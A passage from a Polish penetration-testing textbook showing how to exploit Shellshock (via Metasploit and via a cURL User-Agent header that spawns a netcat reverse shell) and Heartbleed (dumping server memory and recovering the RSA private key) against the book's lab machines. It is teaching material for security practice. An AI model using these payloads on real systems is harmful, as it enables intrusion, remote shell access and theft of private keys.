meworku Metasploit. Później nieco dokładniej przyjrzymy się, jak działa użyty wcześniej exploit, aby
dowiedzieć się, jak ten atak można przeprowadzić ręcznie. Po uruchomieniu Metasploita (mfsconsole)
i odczekaniu na pojawienie się znaku zachęty możesz wpisać polecenie search z parametrem shellshock.
W wynikach wyszukiwania powinno pojawić się kilka modułów, co doskonale świadczy o tym, jak
zróżnicowane są metody ataku na powłokę bash.
Wykorzystamy teraz moduł o nazwie apache_mod_cgi_bash_env_exec. W dalszej części tego
rozdziału wyjaśnimy, dlaczego właśnie tego modułu należy użyć do przeprowadzenia ataku na la-
boratorium naszej książki. Aby wybrać moduł, użyj po prostu polecenia use, podając w parametrze
pełną ścieżkę do modułu. Po przejrzeniu informacji o wybranym module wpisz polecenie show
options i przypisz właściwe wartości do zmiennych. Upewnij się, że zmienna RHOSTS otrzymała
właściwy adres IP, a zmiennej TARGETURI przypisana została wartość /cgi-bin/printenv. (Nikto
podaje, że to ten adres URL wykazuje podatność).

3681988c430c7fe1e8567c4e2f281f7b
3
Shellshock 245

Następnie musisz jeszcze wybrać payload (aby zobaczyć dostępne wartości, użyj polecenia show
payloads), na przykład taki jak linux/x86/shell/reverse_tcp. Odpowiedni payload wybiera się za
pomocą polecenia set PAYLOAD linux/x86/shell/reverse_tcp. Dzięki temu powłoka zostanie ode-
słana do Twojego hosta, czyli maszyny wirtualnej Kali Linux. Tutaj jednak musisz jeszcze podać
właściwy lokalny adres IP oraz lokalny numer portu, używając do tego poleceń set LHOST i set
LPORT. W tym przypadku doskonale zadziała port 443. Upewnij się tylko, że używasz właściwego
adresu IP swojej maszyny wirtualnej Kali Linux. Po sprawdzeniu opcji samego modułu oraz opcji
payloadu możesz użyć polecenia exploit, aby rozpocząć atak. Zakładamy, że celem ataku będzie
laboratorium naszej książki, a zatem powinien pojawić się znak zachęty otwartej właśnie powłoki.
Spróbuj tutaj użyć poleceń id i uname -a. Przekonasz się, że nie zostały wykonane z prawami użyt-
kownika root, ale ze zmniejszonym poziomem uprawnień. W rzeczywistych rozwiązaniach bywa
jednak różnie. Wiele systemów osadzonych uruchamia usługi z prawami użytkownika root, co bar-
dzo ułatwia nam przejęcie tych systemów za pomocą takich podatności. Na koniec tego rozdziału
omówimy jeszcze metody podnoszenia swoich uprawnień w systemie.

Wykorzystywanie błędu Shellshock

za pomocą programów cURL i Netcat
Podatność Shellshock można też wykorzystać, używając jedynie prostych narzędzi, takich jak cURL
i Netcat. Teraz wykorzystamy tę metodę, aby zaprezentować co ciekawsze szczegóły tej podatności.
Pamiętaj, że powodem naszych podejrzeń co do istnienia podatności Shellshock w laboratorium
tej książki były wyniki skanowania programem Nikto. Program podał nam ścieżkę /cgi-bin/printenv
razem z informacją o podejrzeniu istnienia podatności. Wpisanie tego adresu w przeglądarce (albo
wysłanie odpowiedniego żądania programem cURL, co może ułatwić odczytanie wyników) spowo-
duje wykonanie polecenia w systemie operacyjnym za pośrednictwem interfejsu CGI (tutaj użyty
zostanie moduł serwera Apache o nazwie mod_cgi, co wyjaśnia nasz wybór modułu Metasploit). To
polecenie jest skryptem powłoki printenv. Ten skrypt możesz uruchomić w swoim systemie Kali
Linux, nie podając mu żadnych parametrów, a wtedy wypisze tylko nazwy i wartości systemowych
zmiennych środowiskowych.

Zmienne środowiskowe to standardowa funkcja systemów operacyjnych zgod-

nych z POSIX. Definiują one różne zmienne istniejące w środowisku, w którym uruchamiane
są procesy (lub programy). Używa się ich do przechowywania lokalizacji katalogów lub
folderów albo umożliwiania różnym procesom tymczasowego przechowywania danych.
Zapisane są w nich też dane o języku systemu, ustawieniach wyświetlania i szczegółach
interpretera powłoki.

Skrypt printenv uruchamiany w systemie operacyjnym laboratorium naszej książki nie różni
się niczym od skryptu w Twoim komputerze. W tym przypadku miłą cechą jest jednak to, że wyniki
jego działania można przeglądać w przeglądarce, bez konieczności logowania się do tego systemu!
Takie funkcje być może kiedyś były wykorzystywane do debugowania, ale znalezienie ich na ser-
werze produkcyjnym to zdecydowanie coś, co należy natychmiast zgłosić klientowi, ponieważ to
ujawnia wiele ważnych informacji. Dane zwrócone przez ten skrypt mogą wyglądać tak jak poniżej:

3681988c430c7fe1e8567c4e2f281f7b
3
246 Rozdział 7  Sieć WWW pełna podatności

Running /usr/bin/printenv
SERVER_SIGNATURE=<address>Apache/2.2.21 (Debian) Server at
192.168.48.101 Port 80</address>

HTTP_USER_AGENT=Wget/1.19.5 (linux-gnu)
SERVER_PORT=80
HTTP_HOST=192.168.48.101
DOCUMENT_ROOT=/var/www
SCRIPT_FILENAME=/usr/lib/cgi-bin/printenv
REQUEST_URI=/cgi-bin/printenv
SCRIPT_NAME=/cgi-bin/printenv
HTTP_CONNECTION=Keep-Alive
REMOTE_PORT=47404
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/usr/lib/cgi-bin
SERVER_ADMIN=webmaster@localhost
HTTP_ACCEPT=*/*
REMOTE_ADDR=192.168.48.103
SHLVL=1
SERVER_NAME=192.168.48.101
SERVER_SOFTWARE=Apache/2.2.21 (Debian)
QUERY_STRING=
SERVER_ADDR=192.168.48.101
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
HTTP_ACCEPT_ENCODING=identity
REQUEST_METHOD=GET
=/usr/bin/printenv

Na tej liście znajdują się nazwy i numery wersji różnych programów i protokołów (a każdy z nich
jest na swój sposób interesujący), ale oprócz tego musimy wskazać jeszcze jedną bardzo ważną rzecz.
Pamiętasz, że parametry wprowadzane przez użytkownika do adresu URL są jedną z możliwości
spowodowania nieoczekiwanego zachowania serwera albo działającej na nim aplikacji. Podobne
efekty może dawać też zmiana ścieżki (pokazaliśmy to w podrozdziale poświęconym przechodze-
niu przez katalogi). A co można powiedzieć na temat informacji, jakie przeglądarka wysyła do wi-
tryny w ramach żądania GET? Spójrz jeszcze raz na wydruk przygotowany przez polecenie printenv.
Z pewnością zauważysz w nim informacje opisujące przeglądarkę (lub inne narzędzie) użyte do
wykonania tego żądania. Podawany jest też adres IP, z którego wysłano to żądanie. Jak widać, po-
lecenie printenv zwraca nam te wszystkie informacje.
Zawsze gdy zobaczysz, że polecenie zwraca swoje informacje wejściowe, warto się mu dokładniej
przyjrzeć. W tym przypadku można spróbować użyć takiego adresu URL: http://<AdresIP>/cgi-bin/
printenv?a=1. W ten sposób przekonasz się, że istnieją też inne miejsca, w których programy CGI
wypisują swoje dane wejściowe. Czy jesteś w stanie powiedzieć, jakiej przeglądarki użyto do wyko-
nania poprzedniego żądania? Informacja zapisana w zmiennej środowiskowej HTTP_USER_AGENT
mówi, że był to program Wget (w wersji 1.19.5). Przeglądarki same dołączają tę informację do każ-
dego żądania HTTP. Jak widzieliśmy w poprzednich przykładach, przeglądarki dołączają do żądań
również wiele innych nagłówków.
Aby wykorzystać błąd Shellshock, musimy sfałszować nagłówek HTTP opisujący agenta użyt-
kownika. Oczekujemy, że serwer WWW przyjmie każdą informację, jaką umieścimy w tym nagłówku,
i odeśle do nas jego zawartość. Aby przetestować to założenie, spróbuj uruchomić poniższe pole-
cenie, używające programu cURL (kolejny rekursywny skrót: cURL Uniform Resource Locator):
curl -H "User-Agent: witaj swiecie" http://<AdresIP>/cgi-bin/printenv

3681988c430c7fe1e8567c4e2f281f7b
3
Shellshock 247

To polecenie wysyła żądanie GET na podatny adres URL, dołączając do niego specjalny nagłó-
wek (podany w opcji -H) o treści User-Agent: witaj swiecie. Jak można się domyślać, serwer
umieszcza w odpowiedzi cały zbiór zmiennych środowiskowych, wśród których znajduje się też
zmienna zawierająca nazwę agenta użytkownika:
HTTP_USER_AGENT=witaj swiecie

Już prawie jesteśmy gotowi, aby wysłać umieszczony w nagłówku payload ataku Shellshock
i w ten sposób wykorzystać błąd pozwalający na wstrzykiwanie poleceń. Wiemy już, że zmienna
HTTP_USER_AGENT otrzymuje wartość, jaką przysyłamy w żądaniu. Wiemy też, że operacja przypisy-
wania wartości zmiennym w powłoce bash jest podatna na działanie ataku Shellshock. Zanim przy-
stąpimy do wykorzystywania tego błędu, musimy jeszcze włączyć program Netcat w trybie nasłu-
chiwania, aby obsłużyć nadchodzące połączenia powłoki. Trzeba tu włączyć Netcat z parametrami
nakazującymi mu nasłuchiwać w lokalnym systemie (Kali Linux) i przyjmować wszystkie połącze-
nia przychodzące. Takie przygotowania są niezbędne, ponieważ wykorzystując lukę Shellshock,
uruchomimy program Netcat na zdalnym (atakowanym) serwerze i zmusimy go do połączenia się
z innym komputerem. Jeżeli tylko nasz atak się powiedzie, to zdalny host będzie próbował połączyć
się z naszą cierpliwie oczekującą maszyną wirtualną. Dobrze jest teraz otworzyć drugie okno ter-
minala lub drugą kartę terminala w systemie Kali Linux. To nowe okno lub kartę wykorzystamy
do uruchomienia nasłuchującego programu Netcat. Uruchamiając ten program, trzeba mu podać
w parametrze port, na którym ma nasłuchiwać. W poniższym poleceniu używamy portu 80:
nc -v -l -p 80

Zostaw uruchomiony program i wróć do pierwszego okna terminala, w którym ponownie uży-
jemy programu cURL. Tym razem wykorzystamy go jednak do wstrzyknięcia naszego specjalnego
kodu, który ukryjemy w ciągu znaków nagłówka User-Agent. Zwracamy uwagę na to, że dokładnie
tak działa moduł frameworku Metasploit, jeżeli zostanie uruchomiony z domyślnymi ustawieniami.
To proste polecenie całkowicie wystarcza, żeby wykorzystać podatność Shellshock istniejącą na
serwerze. (Uwaga: bardzo ważne jest, żeby poszczególne znaki i spacje zostały wprowadzone do-
kładnie tak jak w poniższym wierszu).
curl -H "User-Agent: () { :; }; /bin/sleep 5" http://<AdresIP>/cgi-bin/printenv

Że atak się powiódł, można wywnioskować z tego, że po mniej więcej 5 sekundach opóźnienia
(co oznacza, że wykonane zostało polecenie /bin/sleep 5) pojawi się komunikat o błędzie, taki jak
poniższy:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator, webmaster@localhost and inform them of the time
´the error occurred, and anything you might have done that may have caused the error.</p>
<p>More information about this error may be available in the server error log.</p>
<hr>
<address>Apache/2.2.21 (Debian) Server at 192.168.48.101 Port 80</address>
</body></html>

3681988c430c7fe1e8567c4e2f281f7b
3
248 Rozdział 7  Sieć WWW pełna podatności

Można teraz zadać sobie pytanie: „A co z moją powłoką?” albo „No to po co był nasłuchujący
Netcat?”. Użyliśmy tutaj polecenia sleep wyłącznie po to, żeby potwierdzić, że rzeczywiście moż-
liwe jest wykonywanie na serwerze wstrzykiwanego polecenia. Teraz po raz ostatni użyjemy pro-
gramu cURL, aby na zdalnym serwerze uruchomić polecenie /bin/nc (Netcat), nakazując mu wy-
konanie polecenia /bin/sh (tutaj wykorzystamy opcję -e). W tym poleceniu trzeba podać właściwy
adres IP swojej maszyny wirtualnej oraz numer portu, co umożliwi ustanowienie połączenia ze
zdalnego programu Netcat do lokalnego, który nadal powinien czekać na połączenia przychodzące
na porcie TCP 80.
curl -H "User-Agent: () { :; }; /bin/nc -e /bin/sh <KaliLinuxIP> 80"
´http://<AdresIP>/cgi-bin/printenv

Po uruchomieniu powyższego polecenia możesz wrócić do programu Netcat nasłuchującego

w drugim oknie terminala. W tym oknie powinien już pojawić się poniższy tekst świadczący o tym,
że atak się powiódł i programy nawiązały połączenie (zwróć jednak uwagę na brak znaku zachęty):
listening on [any] 80 ...
<AdresIP> : inverse host lookup failed: Unknown host
connect to [<KaliLinuxIP> ] from (UNKNOWN) [ <AdresIP> ] 43426

Spróbuj teraz wpisać jakieś polecenia. Zauważysz, że masz dostęp do zdalnego komputera, choć
nie masz na nim uprawnień użytkownika root. W kolejnym kroku, zaraz po uzyskaniu dostępu do
komputera, przeprowadza się próbę ataku pozwalającego na podniesienie swoich uprawnień oraz
sprawdza się możliwości uzyskanego właśnie dostępu.
uid=33(www-data) gid=33(www-data) groups=33(www-data)

SSL, TLS i Heartbleed

Protokół SSL (Secure Socket Layer) jest protokołem szyfrującym, który może był wykorzystywany
w ramach połączeń sieciowych. Został zaprojektowany do realizacji szyfrowania typu end-to-end
(co oznacza, że szyfrowane są wszystkie dane przesyłane w ramach połączenia między dwoma kom-
puterami), co chroni usługi sieciowe przez atakami man-in-the-middle mającymi na celu podsłu-
chiwanie transmisji. Protokół SSL został zastąpiony przez protokół TLS (Transport Layer Security),
ale sam skrót SSL nadal jest powszechnie używany (bo oba protokoły służą do szyfrowania ruchu
sieciowego i działają na podobnej zasadzie), przede wszystkim dlatego, że jest znacznie starszy i zdążył
już wejść do powszechnej terminologii komputerowej.
Gdy sieć WWW rosła i ewoluowała, sklepy internetowe oraz banki chciały w jakiś sposób prze-
konać swoich klientów, aby przesyłali swoje dane za pomocą niezabezpieczonego protokołu HTTP.
Jedną z metod poprawy tej sytuacji było umieszczenie połączenia HTTP w kanale SSL. W efekcie
dane przesyłane całkowicie jawnym tekstem były chronione za pomocą szyfrowanego kanału. Aby
zobaczyć, jak wygląda takie połączenie, możesz uruchomić program do przechwytywania pakie-
tów, taki jak Wireshark lub TCPdump (www.tcpdump.org), i za jego pomocą przejrzeć pakiety wy-
syłane i odbierane przez Twój komputer. Jeżeli połączysz się z wybraną stroną za pomocą proto-
kołu HTTP, to zawartość pakietów będzie możliwa do odczytania zarówno w Twoim systemie, jak
i we wszystkich systemach pośredniczących w transmisji. Wśród tych urządzeń znajduje się na pewno
Twój domowy router, ale może to być też router wi-fi w kawiarni, serwery dostawcy internetu oraz

3681988c430c7fe1e8567c4e2f281f7b
3
SSL, TLS i Heartbleed 249

niezliczone inne serwery znajdujące się na drodze między Twoim komputerem a serwerem, z któ-
rym się łączysz. Wśród tych serwerów może się też znajdować system kogoś, kto podsłuchuje ruch
sieciowy. To daje atakującym wielkie możliwości działania, bo używając złośliwego oprogramowa-
nia do przechwytywania pakietów, mogą podglądać Twoje działania w sieci.
Protokół TLS pobiera na wejściu pakiety TCP i szyfruje ich zawartość, jeszcze zanim zostaną
wysłane. Gdy pakiety dotrą na drugi koniec połączenia (czyli do serwera WWW), zostaną tam roz-
szyfrowane. Sposób szyfrowania i rozszyfrowywania danych jest ustalany przez obie strony połą-
czenia w trakcie jego ustanawiania. Serwer podaje swój certyfikat zawierający klucz publiczny,
który może być używany przez klienta do szyfrowania informacji przesyłanych na serwer. W od-
powiedzi klient (zapewne będzie to przeglądarka) wysyła własny klucz publiczny, który pozwala
serwerowi odsyłać swoje odpowiedzi. Protokół TLS wykorzystuje szyfrowanie asymetryczne, w któ-
rym obie strony połączenia używają swojego klucza prywatnego i publicznego. Strony połączenia
nie używają jednakowego klucza szyfrującego, używanego podczas szyfrowania symetrycznego.

Szyfrowanie to sam w sobie bardzo rozległy temat, któremu poświęcono już wiele
książek. Nie będziemy tutaj wchodzić za bardzo w szczegóły działania algorytmów szyfrują-
cych, ale w całej książce będziemy pokrótce omawiać różne elementy tych algorytmów.

Możesz sądzić, że protokoły SSL i TLS rozwiązały wiele problemów z bezpieczeństwem kom-
puterów. Pod wieloma względami tak się właśnie stało. Niestety przy okazji utworzyły kilka całkiem
nowych problemów. Ludzie zaczęli bardzo ufać technologii, a implementacje obu protokołów, jak
i każde inne oprogramowanie, zawierają w sobie różne błędy i podatności. Można zatem przeska-
nować wybraną implementację protokołów SSL i TLS za pomocą specjalnych narzędzi, takich jak
sslscan. Ten program realizuje negocjacje parametrów połączenia ze wskazanym serwisem i spraw-
dza, czy umożliwia on stosowanie jakiejkolwiek niebezpiecznej opcji albo czy zawiera znane już
błędy i podatności. Ze względu na poziom złożoności tego protokołu znalezienie raportu z testów
penetracyjnych, który nie zawierałby informacji o podatności SSL, jest naprawdę trudne.
Niektóre z błędów w protokołach SSL i TLS były wykorzystywane w poważnych atakach na
różne organizacje na całym świecie. Jednym z przykładów może być atak Heartbleed. Ten błąd
(CVE-2014-0160) został też wykryty w naszym wirtualnym serwerze pocztowym i z całą pewnością
może mieć wpływ na serwery WWW. Jak widzieliśmy, tę podatność można wykorzystać do odczy-
tywania zawartości części pamięci operacyjnej serwera, a w niej mogą znajdować się najróżniejsze
dane, w tym i hasła oraz pliki cookie.
Podatność Heartbleed można też wykorzystać, aby uzyskać dostęp do pamięci przechowującej pry-
watny klucz SSL/TLS serwera, szczególnie gdy używa on certyfikatów RSA (Rivest-Shamir-Adleman).
Oznacza to, że udany atak tego typu umożliwi atakującemu rozszyfrowanie całości ruchu siecio-
wego przesyłanego do tego serwera z wszystkich klientów. Wśród informacji pozyskanych w ten
sposób mogą znajdować się numery kart kredytowych, dane transakcji bankowych i inne ważne
dane. W przypadku pełnego wykorzystania tego błędu protokół HTTPS przestaje chronić przesy-
łane dane i staje się tak samo niezabezpieczony jak zwyczajny HTTP, ale użytkownicy nadal są
przekonani, że ich dane są szyfrowane i bezpieczne.
Nie da się po prostu użyć ataku Heartbleed, aby znaleźć w pamięci pełny klucz prywatny serwera.
Konieczne jest raczej odtwarzanie tego klucza za pomocą faktoryzacji liczb pierwszych. Za pomocą
tego ataku można jednak uzyskać bardzo istotną informację, czyli liczby pierwsze pozwalające na

3681988c430c7fe1e8567c4e2f281f7b
3
250 Rozdział 7  Sieć WWW pełna podatności

odtworzenie klucza. Pamiętamy, że atak Heartbleed umożliwia zapisanie zawartości wydobytej pa-
mięci serwera do pliku. Istnieje też możliwość odtworzenia klucza prywatnego RSA, choć wymaga
to przejrzenia tak zapisanej pamięci serwera, aby wyszukać w niej liczby pierwsze powiązane z pu-
blicznym certyfikatem. Następnie trzeba wykonać faktoryzację tych liczb pierwszych, aby na pod-
stawie informacji z klucza publicznego odtworzyć wartość klucza prywatnego. Teoretycznie od-
tworzenie klucza prywatnego wymaga tylko wykonania odpowiednich operacji matematycznych
(co można zrobić na kartce papieru), ale proces wykonywania tych działań zająłby dłużej, niż wy-
nosi przeciętna długość ludzkiego życia. Implementację opisanego ataku można znaleźć pod adre-
sem www.hackerhousebook.com/files/keyscan.py (skrypt działa w połączeniu ze statycznie skompi-
lowanym plikiem binarnym: www.hackerhousebook.com/files/heartbleed-bin). Nasz skrypt pobiera
klucz publiczny serwera oraz zrzut pamięci, w którym wyszukuje liczby pierwsze, a następnie pró-
buje wykonać ich faktoryzację i wywnioskować pozostałe liczby pierwsze użyte do wygenerowania
klucza prywatnego.
Poniżej prezentujemy sposób przeprowadzenia tego ataku na podatny serwer. Najpierw uru-
chom plik heartbleed-run, aby uzyskać zrzut pamięci zdalnego hosta. Można go uruchamiać wie-
lokrotnie w pętli (opcja -l), co pozwala na zwiększenie ilości danych uzyskanych z pamięci serwera.
./heartbleed-bin -s 192.168.48.102 -p 443 -f pamiec.bin -t 1

Poniżej przedstawiamy przykład wyników zwróconych przez to polecenie. Jeżeli uruchomiony

przez Ciebie program nie zakończy działania z komunikatem o powodzeniu, to naciśnij klawisze
Ctrl+C, aby wrócić do terminala. Możesz teraz uruchomić ten program ponownie, a uzyskany zrzut
pamięci zostanie dopisany do pliku wyników.
[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
[ =============================================================
[ connecting to 192.168.48.102 443/tcp
[ connected to 192.168.48.102 443/tcp
[ <3 <3 <3 heart bleed <3 <3 <3
[ heartbeat returned type=24 length=16408
[ decrypting SSL packet
[ heartbleed leaked length=65535
[ final record type=24, length=16384
[ wrote 16381 bytes of heap to file 'memory.bin'
[ heartbeat returned type=24 length=16408
[ decrypting SSL packet
[ final record type=24, length=16384
[ wrote 16384 bytes of heap to file 'memory.bin'
[ heartbeat returned type=24 length=16408
[ decrypting SSL packet
[ final record type=24, length=16384
[ wrote 16384 bytes of heap to file 'memory.bin'
[ heartbeat returned type=24 length=16408
[ decrypting SSL packet
[ final record type=24, length=16384
[ wrote 16384 bytes of heap to file 'memory.bin'
[ heartbeat returned type=24 length=42
[ decrypting SSL packet
[ final record type=24, length=18
[ wrote 18 bytes of heap to file 'memory.bin'
[ done.

3681988c430c7fe1e8567c4e2f281f7b
3
SSL, TLS i Heartbleed 251

Musisz też uzyskać certyfikat publiczny serwera. Można to zrobić za pomocą programu openssl.
Jest to narzędzie działające w wierszu poleceń, które może wykonywać różne zadania związane
z protokołami SSL i TLS. Zapisz do osobnego pliku wyróżnioną część wyników jego pracy (chodzi
o certyfikat serwera).
openssl s_client -connect 192.168.48.102:443

CONNECTED(00000003)
depth=0 C = UK, ST = HackerHouse, L = Paper St, O = Hacker House, OU =
Leet hax, CN = webserver01, emailAddress = root@webserver01
verify error:num=18:self signed certificate
verify return:1
depth=0 C = UK, ST = HackerHouse, L = Paper St, O = Hacker House, OU =
Leet hax, CN = webserver01, emailAddress = root@webserver01
verify error:num=10:certificate has expired
notAfter=Feb 18 11:44:38 2018 GMT
verify return:1
depth=0 C = UK, ST = HackerHouse, L = Paper St, O = Hacker House, OU =
Leet hax, CN = webserver01, emailAddress = root@webserver01
notAfter=Feb 18 11:44:38 2018 GMT
verify return:1
---
Certificate chain
0 s:/C=UK/ST=HackerHouse/L=Paper St/O=Hacker House/OU=Leet hax/
CN=webserver01/emailAddress=root@webserver01
i:/C=UK/ST=HackerHouse/L=Paper St/O=Hacker House/OU=Leet hax/
CN=webserver01/emailAddress=root@webserver01
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIEAzCCAuugAwIBAgIJAOh7hnOrD55UMA0GCSqGSIb3DQEBCwUAMIGXMQswCQYD
VQQGEwJVSzEUMBIGA1UECAwLSGFja2VySG91c2UxETAPBgNVBAcMCFBhcGVyIFN0
MRUwEwYDVQQKDAxIYWNrZXIgSG91c2UxETAPBgNVBAsMCExlZXQgaGF4MRQwEgYD
VQQDDAt3ZWJzZXJ2ZXIwMTEfMB0GCSqGSIb3DQEJARYQcm9vdEB3ZWJzZXJ2ZXIw
MTAeFw0xNzAyMTgxMTQ0MzhaFw0xODAyMTgxMTQ0MzhaMIGXMQswCQYDVQQGEwJV
SzEUMBIGA1UECAwLSGFja2VySG91c2UxETAPBgNVBAcMCFBhcGVyIFN0MRUwEwYD
VQQKDAxIYWNrZXIgSG91c2UxETAPBgNVBAsMCExlZXQgaGF4MRQwEgYDVQQDDAt3
ZWJzZXJ2ZXIwMTEfMB0GCSqGSIb3DQEJARYQcm9vdEB3ZWJzZXJ2ZXIwMTCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANQa25gsR3xbIcufa90Sy/XUZI61
5B/8UHZActs9ot6sRCte92X+zydqO93lJRG4Ib9BLnjI54m6B1Y/gHRHj5/45l2l
AUOoLwYFK87uhU/4lqVeXUBiBJqc4xxDnCNC2WjkMru0t4jlNiTIIVqforlcEdla
jFmWILje+z+GRC7BrnQbkX6g5pfiljdmyI5jjouWOZsxlXMJfcNmMpVXDgAxCqRM
z+JPgo4fQQLRUxCzOfOCG5OdvD2Ip6BQzYRZ3/zUVVgCUvRZOGIbuU3rF2q1M6AK
qZ1eKzeXe/cB0A38ZgEwcquiLCoUnnJwnHkR608acYFFlxuR0hDtrdIb1J0CAwEA
AaNQME4wHQYDVR0OBBYEFJwvcYNFTP6ps46oqhcaNn2fCak8MB8GA1UdIwQYMBaA
FJwvcYNFTP6ps46oqhcaNn2fCak8MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEL
BQADggEBAIWHbSKAgfMlPI449YQ6xz4Ul/O+t13alsYqkEKMy4p0LmK+dLU0UlGk
1h0V4IoEgmeIN9PPt307urHiXVu4U+E7Nmn2Kjyg1uMHEldIBQorVoNXd5auQXWV
nLHDZycSMFvUKmf593KYgAYoFDUVIJHtW5qcSY/O8ggElcOptWYYD03zSIq/ytqm
SCqjCu5AbU/Pz8EzTJOLZd5WNr41AM530QEcWsHQXVYpNqWFvjPdz+PyBCeKiHsm
teclnMyXk3kxweI3J1zJWARb/8ANgCnKrRMk1DIqCOlO57lN1A64hRZaT4c0eZuJ
lpJLH391+ymTRkY/bOvBIlIO5j44JbA=
-----END CERTIFICATE-----
subject=/C=UK/ST=HackerHouse/L=Paper St/O=Hacker House/OU=Leet hax/
CN=webserver01/emailAddress=root@webserver01
issuer=/C=UK/ST=HackerHouse/L=Paper St/O=Hacker House/OU=Leet hax/
CN=webserver01/emailAddress=root@webserver01

3681988c430c7fe1e8567c4e2f281f7b
3
252 Rozdział 7  Sieć WWW pełna podatności

---
No client certificate CA names sent
Peer signing digest: SHA512
Server Temp Key: DH, 1024 bits
---
SSL handshake has read 1903 bytes and written 366 bytes
Verification error: certificate has expired
---
New, TLSv1.2, Cipher is DHE-RSA-AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
Protocol : TLSv1.2
Cipher : DHE-RSA-AES256-GCM-SHA384
Session-ID:
7FA9E58CB0A0FCB058462423E86FD008D204A6DCB6E67C9C9CD68FCCAB4CCFF1
Session-ID-ctx:
Master-Key:
45B0F0216547F5DA5D6EDD1AE8A5ECB5A88B17BE59F422C4543D752864E166D7E1B73E96
D2D48F34E1C46DA4731537D7
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 300 (seconds)
TLS session ticket:
0000 - 58 60 61 76 bb 5f 27 13-f6 34 b5 f5 55 c3 26 bd X`av._'..4..U.&.
0010 - e1 c2 e5 57 ec 08 e1 39-bd 84 c9 78 68 5a f3 05 ...W...9...xhZ..
0020 - 48 77 ec ea 3f 43 7b 43-b7 d3 c2 84 da 34 9c 7b Hw..?C{C.....4.{
0030 - eb 21 f2 39 8c a1 47 72-1a 2e 82 b2 e4 8d 58 80 .!.9..Gr......X.
0040 - b9 88 a0 a1 db f5 80 d8-e6 01 49 2f 1a 65 39 7b ..........I/.e9{
0050 - a8 7f f9 04 d2 e3 17 9f-12 e5 e3 cb 99 1e b7 28 ...............(
0060 - a8 9a 3c 3a 17 6a 81 8f-21 90 aa 77 ba 73 f5 cf ..<:.j..!..w.s..
0070 - 01 b6 18 3b 1c b3 a5 13-19 13 78 ca b4 9d d8 ab ...;......x.....
0080 - ee 06 3a 2a e7 3f 94 69-63 cb fd 5c 7a e1 85 d7 ..:*.?.ic..\z...
0090 - 34 9d bf ff 60 97 5b 14-d9 c7 7c 68 f4 0c 5b 71 4...`.[...|h..[q
00a0 - da 01 5f 0b cc 33 3b 11-64 6d be b8 72 d8 1c a3 .._..3;.dm..r...
00b0 - 49 00 a8 ad d1 54 f0 93-e9 bf d6 b0 9a 6c 4f 1b I....T.......lO.

Start Time: 1552534490

Timeout : 7200 (sec)
Verify return code: 10 (certificate has expired)
Extended master secret: no
---

Po uzyskaniu publicznego certyfikatu serwera i odpowiednio dużego zrzutu pamięci (im będzie
większy, tym lepiej) możesz użyć skryptu keyscan.py, aby poszukać potrzebnych nam liczb pierw-
szych. Aby wykorzystać skrypt keyscan.py, musisz najpierw zainstalować jego zależności. W syste-
mie Kali Linux można to zrobić za pomocą poniższego polecenia uruchomionego w kontekście
użytkownika root.
apt-get install python3-gmpy2

3681988c430c7fe1e8567c4e2f281f7b
3
SSL, TLS i Heartbleed 253

Po znalezieniu brakujących liczb pierwszych w zrzucie pamięci można przystąpić do genero-

wania poprawnego, prywatnego klucza RSA. W naszym przykładzie należy posłużyć się poniższym
poleceniem:
python3 keyscan.py cert.pem memory.bin

Key size: 128

Data length: 1761878456
memory.bin Offset 0xf2cd:
q = 17689577340562111630778828013342003999722204192752393448031868848897
929739050140947697938132548772353720389979747338652398075952594500099251
041847377115590217386166553375665999053132129665591634522179640161344665
3288929898078029282412625028093260043133036581197733169859097558754479002
499112198768900474336027
p = 15136463810035517669366139802409873052815415983244295608534814948392
380436007908867495166668892182394427005861978840145997829016668749391870
717666892111463710435185983106157692611648509859110756291492207713421416
612112379728593888704031727622970834978425260466131602569348164325497107
7966517600088960886610599

-----BEGIN RSA PRIVATE KEY-----

MIIEpAIBAAKCAQEA1BrbmCxHfFshy59r3RLL9dRkjrXkH/xQdkBy2z2i3qxEK173Zf7PJ2o73eUl
Ebghv0EueMjniboHVj+AdEePn/jmXaUBQ6gvBgUrzu6FT/iWpV5dQGIEmpzjHEOcI0LZaOQyu7S3
iOU2JMghWp+iuVwR2VqMWZYguN77P4ZELsGudBuRfqDml+KWN2bIjmOOi5Y5mzGVcwl9w2YylVcO
ADEKpEzP4k+Cjh9BAtFTELM584Ibk528PYinoFDNhFnf/NRVWAJS9Fk4Yhu5TesXarUzoAqpnV4r
N5d79wHQDfxmATByq6IsKhSecnCceRHrTxpxgUWXG5HSEO2t0hvUnQIDAQABAoIBAQCsvLbMJnuN
djZ+u3W/1HgQ24mNg+qmdfkdZP1lObwztn3KCIxZH3ybr/PTkbNvy9KIDNCJA601SDCDeDHoAQOi
F7Wc3C28aPLq5zk3TJ97cotVYBV3wpvXQx/eu90kBmRC/V2n6tRyA6HlsKshP9LpPGc46XpV12MM
zGQ35uQOYqc6R73MbnRzjjzthU4+G1TkfKINlfIYBqbk0h+K8vzBLQ9jY2/0lE9wT48rmDm4sbm4
Dd0k6EvqKp2h5GAWZEnMXnSa5uPOMvOttb41FTeasLPr7+hInNkR8UTAQSPDL4Zf9o6bliRrUsaf
/kLf8uzrjv2A8DipZlcNfmzlyVltAoGBANeM5vyYKMY8tkXW39YPrZEjzHZ5wK26bAJHGNAk9nJM
JA1qh0aPBLXyosZYqxgGqm7wb9I/y3ZZLgX1hOrj4wLtk/FqCErHZPlAiND3J1Nivin6aRqBJBJn
yAnQk327RaWvvIea6wpiVno9N0J/kwzy8vosl7egoYuDL8kE+5qnAoGBAPvobvVpy1rKgSzIrP5i
IsNsFogF7IU2T8uAjn/If+u2Oq1h0WCOO/kv7llVYBL3I5kp6jnGEMQ/O/p9aGIkHqpxyI5wTFXY
